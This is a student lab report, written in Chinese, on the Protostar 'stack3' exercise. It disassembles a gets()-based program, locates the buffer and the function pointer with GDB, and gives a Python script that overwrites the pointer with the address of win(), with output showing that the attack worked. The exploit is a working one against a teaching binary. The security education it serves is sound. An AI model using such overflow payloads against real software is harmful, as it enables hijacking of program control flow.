CS3312 Lab Report Stack3

Osamu Takenaka 520030990026

源码分析

x86汇编代码(由objdump得到)：

```
08048424 <win>:
 8048424:       55                      push   %ebp
 8048425:       89 e5                   mov    %esp,%ebp
 8048427:       83 ec 18                sub    $0x18,%esp
 804842a:       c7 04 24 40 85 04 08    movl   $0x8048540,(%esp)
 8048431:       e8 2a ff ff ff          call   8048360 <puts@plt>
 8048436:       c9                      leave
 8048437:       c3                      ret

08048438 <main>:
 8048438:       55                      push   %ebp
 8048439:       89 e5                   mov    %esp,%ebp
 804843b:       83 e4 f0                and    $0xfffffff0,%esp
 804843e:       83 ec 60                sub    $0x60,%esp
 8048441:       c7 44 24 5c 00 00 00    movl   $0x0,0x5c(%esp)
 8048448:       00
 8048449:       8d 44 24 1c             lea    0x1c(%esp),%eax
 804844d:       89 04 24                mov    %eax,(%esp)
 8048450:       e8 db fe ff ff          call   8048330 <gets@plt>
 8048455:       83 7c 24 5c 00          cmpl   $0x0,0x5c(%esp)
 804845a:       74 1b                   je     8048477 <main+0x3f>
 804845c:       b8 60 85 04 08          mov    $0x8048560,%eax
 8048461:       8b 54 24 5c             mov    0x5c(%esp),%edx
 8048465:       89 54 24 04             mov    %edx,0x4(%esp)
 8048469:       89 04 24                mov    %eax,(%esp)
 804846c:       e8 df fe ff ff          call   8048350 <printf@plt>
 8048471:       8b 44 24 5c             mov    0x5c(%esp),%eax
 8048475:       ff d0                   call   *%eax
 8048477:       c9                      leave
 8048478:       c3                      ret
```

C语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
    printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
    volatile int (*fp)();
    char buffer[64];

    fp = 0;

    gets(buffer);

    if(fp) {
        printf("calling function pointer, jumping to 0x%08x\n", fp);
        fp();
    }
}
```

这段C程序同样是一个典型的缓冲区溢出漏洞：

但是这次，我们需要通过改变 `fp` 变量的值来调用 `win` 函数。

我们需要令 `fp` 的值等于 `win` 函数的地址，然后通过 `fp()` 来调用 `win` 函数。

变量以及函数位置确定

`fp`：

通过 `fp = 0` 这句C代码可以很容易找到对应的汇编代码：

```
8048441:       c7 44 24 5c 00 00 00    movl   $0x0,0x5c(%esp)
```

不难看出，`fp` 变量的地址是0x5c(%esp)

`buffer`：

通过这句C代码：

```c
gets(buffer);
```

可以定位到汇编中对应的代码为：

```
8048449:       8d 44 24 1c             lea    0x1c(%esp),%eax
 804844d:      89 04 24                mov    %eax,(%esp)
 8048450:      e8 db fe ff ff          call   8048330 <gets@plt>
```

可以看出，`buffer`数组的开始地址是0x1c(%esp)

`win()`：

通过以下关于win函数的汇编代码可以找到`win`函数的地址：

```
08048424 <win>:
```

`win`函数的地址是0x8048424

GDB调试

- 接下来我们需要通过gdb，通过查看`%esp`的值，得到各个变量的地址。

  添加断点在main，

  ```
  (gdb) print $esp
  $2 = (void *) 0xffc597f0
  ```

  可以看到`%esp`的值是`0xffc597f0`，所以：

  `fp`的地址是`0xffc597f0 + 0x5c = 0xffc5984c`

  `buffer`的起始地址是`0xffc597f0 + 0x1c = 0xffc5980c`

- 然后，运行`gets()`时，为了在打印内存时更容易找到`buffer`的区域，我们输入64个'a'，运行完`gets()`后，我们打印一下相关内存区域：

  ```
  (gdb) x/128xb 0xffc597f0
  0xffc597f0:     0x0c    0x98    0xc5    0xff    0x00    0x00    0x00    0x00
  0xffc597f8:     0x00    0x00    0x00    0x00    0x00    0xf2    0x74    0x6b
  0xffc59800:     0x07    0x00    0x00    0x00    0x66    0xb8    0xc5    0xff
  0xffc59808:     0x79    0x36    0xd3    0xf7    0x61    0x61    0x61    0x61
  0xffc59810:     0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
  0xffc59818:     0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
  0xffc59820:     0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
  0xffc59828:     0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
  0xffc59830:     0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
  0xffc59838:     0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
  0xffc59840:     0x61    0x61    0x61    0x61    0x61    0x61    0x61    0x61
  0xffc59848:     0x61    0x61    0x61    0x61    0x00    0x00    0x00    0x00
  0xffc59850:     0x00    0xb0    0xed    0xf7    0x00    0xb0    0xed    0xf7
  0xffc59858:     0x00    0x00    0x00    0x00    0xa1    0xbf    0xd1    0xf7
  0xffc59860:     0x01    0x00    0x00    0x00    0xf4    0x98    0xc5    0xff
  0xffc59868:     0xfc    0x98    0xc5    0xff    0x84    0x98    0xc5    0xff
  ```

  可以看到大片的`0x61`，即`a`，即为buffer的地址区域，为`0xffc5980c`至`0xffc5984b`，我们的计算是正确的。

  可以看到`fp`的地址为`0xffc5984c`，紧挨着`buffer`的末尾。

- 接下来我们需要构造输入，使得`fp`的值变为`0x8048424`(win函数的地址)。

  该系统为小端，所以`fp`在内存中应该是`0x24 0x84 0x04 0x08`（地址从左至右依次增大）。

攻击脚本内容

script_stack3.py:

```
import sys
buffer = b'a' * 64
modified = b'\x24\x84\x04\x08'
ans = buffer + modified
sys.stdout.buffer.write(ans)
```

在终端中运行：

```
python3 script_stack3.py | ./stack3
```

结果（非GDB环境）

```
root@72419cb1c93b:/opt/protostar/bin# python3 script_stack3.py | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
root@72419cb1c93b:/opt/protostar/bin#
```

攻击成功